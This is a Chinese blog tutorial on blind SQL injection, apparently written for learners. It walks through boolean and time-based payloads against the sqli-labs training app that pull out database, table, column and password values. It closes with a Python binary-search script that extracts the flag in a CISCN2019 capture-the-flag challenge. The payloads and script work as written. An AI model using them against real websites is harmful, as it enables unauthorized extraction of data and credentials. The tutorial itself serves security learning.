SQL注入-盲注
接下来就是SQL注入的最后一个知识点啦,前文请参考
SQL注入-联合注入-CSDN博客https://blog.csdn.net/m0_74040194/article/details/152080600?spm=1001.2014.3001.5501SQL注入-报错注入-CSDN博客
https://blog.csdn.net/m0_74040194/article/details/152128420?spm=1001.2014.3001.5501
一、什么是盲注呢
在联合注入和报错注入中,我们都会发现,其是会有页面回显的,通过页面回显来获得我们想要的数据,但是在盲注中,攻击者通常无法直接获取到信息,因此被称为盲注。
在盲注过程中,攻击者通过构造恶意语句,传递给页面进行处理,然后,攻击者通过观察应用程序的响应以及其他可见的行为来确认是否成功,并进一步探测和利用数据库中的数据。
它有两种比较常见的形式:
- 布尔盲注:利用 SQL 语句的布尔逻辑判断,构造包含 “条件判断” 的 SQL 语句,通过观察页面是否正常加载(或返回特定内容),确定判断结果,进而逐字符推导数据。
- 时间盲注:利用 SQL 语句的时间延迟函数,构造包含 “条件 + 延迟” 的 SQL 语句,通过观察响应时间差异,反推条件判断结果,进而获取数据。
二、如何进行盲注?
接下来便向大家展示两种盲注的方法的使用。
2.1 布尔盲注(sqli-lbabs lsson8)
当我们输入id后,他只告诉了我们登陆进来,但并未说明信息等。此时尝试进行报错
我们发现页面并不回显,所以此时无法继续使用联合注入或者报错注入进行攻击了,只能采取忙著的方式。进行字符型和整数型判断,发现其为字符型。
此时,便可以构造语句来猜解数据库名长度。通过length(database())
函数获取当前数据库名的长度,用 “大于 / 小于 / 等于” 逐步缩小范围,直到找到准确长度。
所以我们通过length函数判断了当前数据库应该长度为8。接下来便可以逐步查询数据库的名字。构造payload
?id=1' AND ascii(substr(database(), 1, 1)) > 100 --+
然后将100不断地累加直到不出现回显为止,重复此过程,将 substr(database(), 1, 1)
中的 1
依次改为 2, 3, 4, 5, 6, 7
,逐个猜解出所有字符。最终我们会得到数据库为“security
”,然后通过构造payload来获取表信息。
?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1), 1, 1)) = 101 --+
继续猜解,最终会得到第一张表是 emails
。然后猜解第二张第三张,以此类推直到猜解到我们所需要的uesrs表。通过该表去猜其字段名,构造payload。首先判断其字段名个数(3个)。
?id=1' AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users') = 3 --+
然后判断每个字段名都是什么。构造payload
?id=1' AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0, 1), 1, 1)) = 105 --+
获取 users
表中的数据,我们目标是获取 username
和 password
。首先猜密码的长度。
?id=1' AND length((SELECT password FROM users WHERE username='Dumb')) = 4 --+
然后猜去每一个字符是什么,构造payload
?id=1' AND ascii(substr((SELECT password FROM users WHERE username='Dumb'), 1, 1)) = 100 --+
2.2 时间盲注(sqli-labs less10)
我们输入id,并构造错误语句时,发现其页面没有存在报错,也没有无回显情况等,此时便可以采取时间盲注,尝试注入(因为时间盲注无法有效的查看其变化,所以这里不截图展示了)。
大概如图所示,只要是错误便会有加载时间。同样的要先猜解数据库名长度,使用if(condition, sleep(5), 0)
结构,只有条件为真时才延迟。构造payload。
?id=1" AND IF(length(database())=8, SLEEP(5), 0) --+
然后逐字符猜解数据库的名字,使用substr()
和ascii()
函数配合if
判断。
?id=1" AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0) --+
接下来,确认表的数量,构造payload
?id=1" AND IF((SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=4, SLEEP(5), 0) --+
得知数量后,猜取每张表的名字,构造payload
?id=1" AND IF(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 2,1),1,1))=117, SLEEP(5), 0) --+
根据表去判断每张表的字段名的数量。构造payload
?id=1" AND IF((SELECT count(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=3, SLEEP(5), 0) --+
然后猜取字段分别是什么
?id=1" AND IF(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1),1,1))=117, SLEEP(5), 0) --+
接下来便是获取users表中的数据了,这里是爆破出来帐号了,接下来便是判断密码为什么。
?id=1" AND IF(ascii(substr((SELECT password FROM users WHERE username='admin'),1,1))=68, SLEEP(5), 0) --+
三、总结
盲注虽然过程很繁琐,但在无任何反馈的情况下是最有效果的注入方法之一。需要掌握其原理。
四、CISCN2019 Hack World
打开靶机后发现,这么一个题目,当我们尝试使其报错后发现其会返回True,或False
那么我们此时只需要想,通过让这个id在查询结果符合某个条件时变成1,在不符合时变成0,就可以构造处布尔盲注点来进行布尔盲注了。并且根据提醒,我们是知道他的表和字段名的。
(ascii(substr((select(falg)from(flag)),1,1))>32)
手工是比较复杂的一件事情,所以此时便可以采取脚本的方式。
先导入我们需要的模块
import requests
import time
#通过这些库进行我们所要进行的后续操作
然后定义url以及flag
url = "http://dc70bcda-0bba-4c8e-afcf-4fc3f4f49c8d.node5.buuoj.cn:81/"
flag = ""
接下来便是查询数据,这里为了提高效率使用了二分查找。
# 外层循环:遍历flag的每一个字符(假设最多50位)
for i in range(1, 50):
max_ascii = 127 # ASCII码范围上限
min_ascii = 0 # ASCII码范围下限
# 内层循环:对第i个字符进行二分查找
for _ in range(0, 127):
mid = (max_ascii + min_ascii) // 2 # 计算中间值
# 构造payload:用异或(^)将布尔结果转为页面状态
# 判断第i个字符的ASCII码是否大于mid
payload = f"1^(ascii(substr((select flag from flag),{i},1))>{mid})"
r = requests.post(url, data={'id': payload})
time.sleep(0.005) # 避免请求过快
# 判断响应,调整查找范围
if 'Hello' in r.text:
# 页面正常 -> 条件为假 -> ASCII码 <= mid
max_ascii = mid
else:
# 页面异常 -> 条件为真 -> ASCII码 > mid
min_ascii = mid
# 范围足够小,确定字符
if max_ascii - min_ascii <= 1:
flag += chr(max_ascii) # 将ASCII码转为字符
print(flag) # 打印当前已获取的flag
break # 跳出内层循环,开始查找下一个字符